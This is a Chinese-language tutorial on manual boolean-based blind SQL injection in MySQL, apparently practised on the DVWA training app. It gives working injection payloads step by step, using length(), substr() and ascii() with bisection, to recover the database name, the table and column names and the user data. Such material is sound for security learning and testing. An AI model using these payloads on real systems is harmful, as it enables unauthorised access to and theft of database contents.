MySQL手注之盲注(布尔)

布尔注入:

当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据。(盲注分为布尔盲注和时间盲注)

盲注常用函数:

length()  返回字符串的长度, 可以返回 数据库 表明 列名的 长度

substr()  截取字符串。subster(string, start, length)   字符串, 从第几位截取,截取长度是多少

ascil()  返回ascil码

基于时间盲注:

sleep(n)  将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3)  if判断语句

 

 

布尔注入流程:

 

1.判断是否存在注入,字符型还是数字型。

2.猜解当前数据库长度 

  这个注入过程就相当于 输入者跟数据库进行对话

你问:  1′ and length (database())=1 #  ( 这里猜测数据库名称为1个字符) 

数据库回答:  missing 

继续猜测 1‘and length(database())=4 # 当我们输入到4的时候 数据库返回用户id存在 数据库中 ,那么可得出数据库名称为4位

 

 

 

 猜名称    (二分法逐字猜解)

 

ascii码值: A到Z的ASCII码是65到90,a到z的ascii码值是97到122

 

首先,我们用二分法取中间数来猜取数据库名称的第一位字母

1′ and ascii(substr(database(),1,1))>97 #

 

 显示存在,说明数据库的第一个字母是大于或等于97的,

 

 

1′ and ascii(substr(database(),1,1))<122 #

 

继续使用二分法测试,发现小于122   

 

 

1′ and ascii (substr(database(),1,1))<109 #

 

 测试发现小于109

 

 

1′ and ascii (substr(database(),1,1))<102 #

  

 发现小于102继续测试

 

 

1′ and ascii (substr(database(),1,1))<100 #

 

 发现报错了,这就说明 数据库名称<=100

 

 

 

 1′ and ascii (substr(database(),1,1))<=100 #

 

 数据库的第一位数字的ascii为100   即为d   

剩下三位 只需更改substr 的 第二个参数 即可 获取完整的数据库名称

 

 

 

3.猜解表名  (猜解表的数量)

1′ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 

 

 

 

1′ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 

 

 显示存在,说明 这个数据库里有 2个表

 

 

 

(猜解第⼀个表名长度)

1′ and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

 显示第一个表名的这个长度不为1. 继续测试

 

1′ and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #

 不为2

.

.

.

 

1′ and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

这里显示猜出第一个表名的为9 

接下来只要更改limit 的参数(1.1) 即可猜解第二张表的长度。

 

 

猜解第一个表的名字

1′ and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 #

 通过二分法和猜解数据库名称一样,取猜解表名。

最后猜解表名为 guestbook users                              

 

猜解表的字段名 数量:

1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 # 

 

 

 

1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # 

 

猜解第一个字段的长度

方法同猜解表名长度

1′ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 # 

 

猜解第一个字段名

1′ and ascii(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1,1))>97 # 显⽰存在 

 

猜解数据 

依然是使用二分法猜解数据

and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #